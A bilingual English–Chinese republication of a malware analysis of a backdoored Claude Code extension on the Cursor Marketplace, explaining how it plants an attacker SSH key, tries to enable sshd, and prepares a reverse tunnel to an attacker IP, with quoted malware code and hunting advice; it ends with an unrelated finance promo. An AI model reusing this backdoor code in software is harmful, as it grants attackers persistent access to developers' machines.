Cursor市场官方Claude Code插件被植入SSH后门
Backdoor in Claude Code for VS Code extension on the Cursor Marketplace
AI开发者工具供应链遭遇实质性攻击,涉及主流模型API集成插件,所有使用Cursor或相关扩展的用户需立即核查版本并排查SSH异常。
TL;DR
TL;DR(太长不看)
Phorion has detected a backdoor in the official Claude Code for VS Code extension bundle on the Cursor Marketplace that drops a persistent SSH backdoor across macOS, Linux, and Windows. This write-up focuses primarily on macOS, where the extension attempts to configure an SSH backdoor and establish persistence.
Phorion 在 Cursor Marketplace 上的官方 Claude Code for VS Code 扩展包中检测到一个后门,该后门会在 macOS、Linux 和 Windows 上植入持久的 SSH 后门。本文主要聚焦于 macOS 平台,在该平台上扩展程序试图配置 SSH 后门并建立持久化机制。
Organisations should immediately review their environments for use of Claude Code for VSCode 2.1.313 and engage incident response where use of the extension is discovered.
组织应立即审查其环境,检查是否使用了 Claude Code for VSCode 2.1.313 版本,并在发现使用该扩展时启动事件响应流程。
Phorion has discovered a compromise of the official Claude Code for VS Code extension on the Cursor Marketplace, where the backdoored extension bundle contains a persistent Secure Shell (SSH) backdoor. Cursor has removed the associated release from its marketplace, additionally pulling NPM and VSCode versions for 2.1.313 from their relevant registries.
Phorion 发现了 Cursor Marketplace 上官方 Claude Code for VS Code 扩展遭到入侵的情况,其中被植入后门的扩展包包含一个持久的 Secure Shell (SSH) 后门。Cursor 已从其市场中移除相关版本,并从各自的注册中心下架了 NPM 和 VSCode 的 2.1.313 版本。
While the implant includes setup and persistence logic for macOS, Linux, and Windows, we’re going to focus primarily on macOS in this post, calling out the key differences and a few implementation bugs on the other platforms along the way.
虽然该植入物包含了适用于 macOS、Linux 和 Windows 的设置与持久化逻辑,但本文将主要聚焦于 macOS,同时指出其他平台上的关键差异及一些实现缺陷。
The Cursor Marketplace serves extensions for the Cursor editor. Because extensions run with the permissions of the IDE and the user running it, a backdoored extension gets immediate access to local files, source code, and developer tooling as soon as its module is loaded.
Cursor Marketplace 为 Cursor 编辑器提供扩展支持。由于扩展以 IDE 及其运行用户的权限执行,一旦加载模块,被植入后门的扩展即可立即访问本地文件、源代码和开发工具。
Notably, Phorion has discovered a likely oversight in how the malware tries to turn on SSH. The setup logic assumes it can check the current Remote Login state without root privileges. When run as a standard user, systemsetup -getremotelogin prints an administrator-access error and exits with status 0 instead of returning Off. Because the script only tries to enable SSH if the output matches Off, it skips the enablement step entirely. On a Mac that doesn’t already have SSH running, that mistake breaks the inbound access path, even though the SSH keys and persistence still get dropped.
值得注意的是,Phorion 发现恶意软件在尝试启用 SSH 时存在一个明显的疏忽。设置逻辑假设无需 root 权限即可检查当前的远程登录状态。当以普通用户身份运行时,systemsetup -getremotelogin 会打印出需要管理员访问权限的错误信息,并以状态码 0 退出,而不是返回“Off”。由于脚本仅在输出匹配“Off”时才尝试启用 SSH,因此它完全跳过了启用步骤。在一台尚未运行 SSH 的 Mac 上,这一错误会导致入站访问路径失效,尽管 SSH 密钥和持久化机制仍会被植入。
In this post, we’ll walk through how the backdoor works, why that macOS check fails, and what to look for across your fleet. The goal of this payload is long-term interactive access, and whilst the SSH backdoor bug minimises impact on macOS, the malware is still a significant threat that installs persistence and beacons host reconnaissance back to the operator.
在本文中,我们将逐步解析该后门的工作原理、macOS 检查为何失败,以及如何在整个设备群中进行排查。此载荷的目标是实现长期的交互式访问;尽管 SSH 后门漏洞降低了对 macOS 的影响,但该恶意软件仍然构成重大威胁,因为它会安装持久化组件并将主机侦察结果信标回传至攻击者。
Infection Chain
感染链
The Cursor Marketplace Extension
Cursor Marketplace 扩展
The compromised extension.js file starts with an injected immediately invoked function expression (IIFE) prepended to the minified extension bundle. The rest of the bundle looks like the standard extension, with Claude Code and VS Code strings, normal activate and deactivate exports, and UI code.
被篡改的 extension.js 文件以一段注入的立即调用函数表达式(IIFE)开头,该表达式被添加到压缩后的扩展包之前。包的其余部分看起来像标准的扩展,包含 Claude Code 和 VS Code 字符串、正常的 activate 和 deactivate 导出以及 UI 代码。
The injected prefix pulls in standard Node.js modules (child_process, fs, os, path, http, and crypto) and executes as soon as Node loads the file, before the extension’s normal activate callback even runs. The user doesn’t need to interact with the extension for the payload to fire.
注入的前缀引入了标准的 Node.js 模块(child_process、fs、os、path、http 和 crypto),并在 Node 加载文件时立即执行,甚至在扩展的正常 activate 回调运行之前。用户无需与扩展交互,有效载荷就会触发。
Stage 1 - Preparing SSH Access
阶段 1 - 准备 SSH 访问
First, the payload makes sure ~/.ssh exists and appends an attacker-controlled Ed25519 public key to ~/.ssh/authorized_keys, setting permissions to 0700 on the directory and 0600 on the file.
首先,有效载荷确保 ~/.ssh 存在,并将攻击者控制的 Ed25519 公钥追加到 ~/.ssh/authorized_keys 中,将目录权限设置为 0700,文件权限设置为 0600。
The key uses the comment svc-telemetry. Before appending, the script checks whether svc-telemetry is already in the file rather than checking for the key itself. When hunting for this activity, it’s worth checking the public-key fingerprint rather than relying solely on the comment string.
该密钥使用注释 svc-telemetry。在追加之前,脚本检查文件中是否已存在 svc-telemetry,而不是检查密钥本身。在调查此活动时,最好检查公钥指纹,而不是仅依赖注释字符串。
var sd = path.join(HOME, ".ssh"),
ak = path.join(sd, "authorized_keys");
// ...
if (cur.indexOf("svc-telemetry") < 0) {
fs.appendFileSync(ak, PUB + "\n");
d.sshKey = "added"
} else {
d.sshKey = "present"
}Here, cur holds the existing contents of authorized_keys, and PUB is the embedded attacker public key (redacted here).
此处,cur 保存 authorized_keys 的现有内容,PUB 是嵌入的攻击者公钥(此处已脱敏)。
With the key in place, anyone holding the matching private key can authenticate as that user, provided SSH is actually running. The next step in the script tries to make sure the local SSH daemon is enabled and listening:
密钥就位后,任何持有匹配私钥的人都可以作为该用户进行身份验证,前提是 SSH 确实在运行。脚本的下一步尝试确保本地 SSH 守护进程已启用并正在监听:
- Linux: tries to enable and start sshd or ssh via systemctl, falling back to service and /etc/init.d/.
- macOS: checks Remote Login and, if it reports Off, tries to enable it via sudo -n systemsetup -setremotelogin on.
- Windows: tries to install and start OpenSSH Server using PowerShell.
- Linux:尝试通过 systemctl 启用并启动 sshd 或 ssh,如果失败则回退到 service 和 /etc/init.d/。
- macOS:检查远程登录状态,如果报告为关闭,则尝试通过 sudo -n systemsetup -setremotelogin on 启用它。
- Windows:尝试使用 PowerShell 安装并启动 OpenSSH Server。
None of these steps include a privilege escalation exploit. Non-interactive sudo -n will fail unless the user already has passwordless sudo cached or configured, so starting a system service won’t always succeed from a standard user context.
这些步骤中都不包含提权漏洞利用。除非用户已经缓存或配置了免密 sudo,否则非交互式 sudo -n 将会失败,因此从标准用户上下文启动系统服务并不总是能成功。
It looks like the Windows code path also has its own bug: it passes the PowerShell service setup command through a helper function (det()) that hardcodes /bin/sh, which isn’t going to get very far on a standard Windows install.
看起来 Windows 代码路径也有其自身的 bug:它通过一个硬编码 /bin/sh 的辅助函数(det())传递 PowerShell 服务设置命令,这在标准 Windows 安装上很难行得通。
A bug in the macOS SSH logic?
macOS SSH 逻辑中的 bug?
On macOS, the setup may run into problems before it even gets to the sudo command. The script runs systemsetup -getremotelogin without elevation and tests the output against /Off/i. It only tries to enable Remote Login if the output contains Off:
在 macOS 上,设置可能在触及 sudo 命令之前就遇到问题。脚本以无特权方式运行 systemsetup -getremotelogin,并将输出与 /Off/i 进行匹配测试。只有当输出包含 Off 时,它才会尝试启用远程登录:
// ...
else if (PLAT === "darwin") {
var rl = ex("systemsetup -getremotelogin 2>/dev/null", 4000);
d.remoteLogin = rl;
if (/Off/i.test(rl)) {
det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");
d.remoteLoginOn = "tried"
}
}Notice that the second command (-setremotelogin on) uses sudo -n, while the first command (-getremotelogin) doesn’t. When you run systemsetup -getremotelogin as a standard user on macOS, you get this instead:
注意,第二条命令(-setremotelogin on)使用了 sudo -n,而第一条命令(-getremotelogin)没有。当你在 macOS 上以普通用户身份运行 systemsetup -getremotelogin 时,你会得到如下结果:
You need administrator access to run this tool... exiting!systemsetup refuses to read the setting without administrator privileges, prints the error to stdout, and exits with status 0. The malware’s ex() helper grabs stdout and returns it:
systemsetup 在没有管理员权限的情况下拒绝读取设置,将错误打印到 stdout,并以状态码 0 退出。恶意软件的 ex() 辅助函数捕获 stdout 并返回其内容:
function ex(c, t) {
try {
return cp.execSync(c, {
timeout: t || 3000,
stdio: ["ignore", "pipe", "ignore"],
windowsHide: true
}).toString().trim()
} catch (e) {
return ""
}
}Because the output is "You need administrator access to run this tool... exiting!", /Off/i.test(rl) evaluates to false.
由于输出内容为“You need administrator access to run this tool... exiting!”,/Off/i.test(rl) 的求值结果为 false。
As a result, the script skips the if block and never runs sudo -n systemsetup -setremotelogin on. It effectively treats “I don’t have permission to check if SSH is off” as “SSH is already on”, which also explains why you won’t see the enablement attempt in process telemetry when the extension runs as a normal user.
因此,脚本跳过了 if 代码块,从未执行 sudo -n systemsetup -setremotelogin on。它实际上将“我没有权限检查 SSH 是否已关闭”视为“SSH 已经开启”,这也解释了为什么当扩展程序以普通用户身份运行时,你无法在进程遥测数据中看到启用尝试的记录。
This bug can break the final step of the access chain. If Remote Login isn’t already enabled on the Mac, the outbound tunnel can still connect to the attacker’s server, but any traffic forwarded back through the tunnel will hit a closed port 22 on localhost.
这个漏洞可能会破坏访问链的最后一步。如果 Mac 上尚未启用远程登录,出站隧道仍然可以连接到攻击者的服务器,但通过隧道转发回来的任何流量都会在 localhost 上遇到关闭的 22 端口。
Of course, that isn’t something to rely on as a defence. If the user already had Remote Login enabled, or turns it on later, the backdoor is ready and waiting.
当然,这不能作为依赖的防御措施。如果用户已经启用了远程登录,或者稍后将其开启,后门就已经就绪并等待连接。
Stage 2 - Establishing the Reverse SSH Tunnel
第二阶段 - 建立反向 SSH 隧道
Next, the script sets up an outbound SSH connection to 134.209.82[.]225 as the tunnel user on port 22. To authenticate to the attacker’s server, it decodes a separate embedded private key: an unencrypted OpenSSH Ed25519 key with the comment svc-telemetry-tun.
接下来,脚本以隧道用户身份在端口 22 上建立到 134.209.82[.]225 的出站 SSH 连接。为了向攻击者的服务器进行身份验证,它解码了一个单独嵌入的私钥:一个未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。
It’s worth keeping the two keys straight during an investigation:
在调查过程中,值得理清这两把密钥的区别:
- The public key added to ~/.ssh/authorized_keys (svc-telemetry) lets the attacker log into the victim’s machine.
- The embedded private key (svc-telemetry-tun) lets the victim’s machine connect out to the attacker’s tunnel server.
- 添加到 ~/.ssh/authorized_keys 的公钥(svc-telemetry)允许攻击者登录受害者的机器。
- 嵌入的私钥(svc-telemetry-tun)允许受害者的机器向外连接到攻击者的隧道服务器。
The script writes this tunnel key to the OS temporary directory with a filename starting with .stk_, followed by the first ten characters of the MD5 hash of the hostname and home directory path:
脚本将此隧道密钥写入 OS 临时目录,文件名以 .stk_ 开头,后跟主机名和家庭目录路径 MD5 哈希的前十个字符:
var kf = path.join(
TMP,
".stk_" + crypto.createHash("md5")
.update(String(os.hostname()) + HOME).digest("hex").slice(0, 10)
);
// ...
var RF = (PLAT === "win32") ? "\"*:0:localhost:22\"" : "'*:0:localhost:22'";更进一步:量化金融体系
看懂新闻只是起点——沿量化金融路径,把它变成能交付的工程能力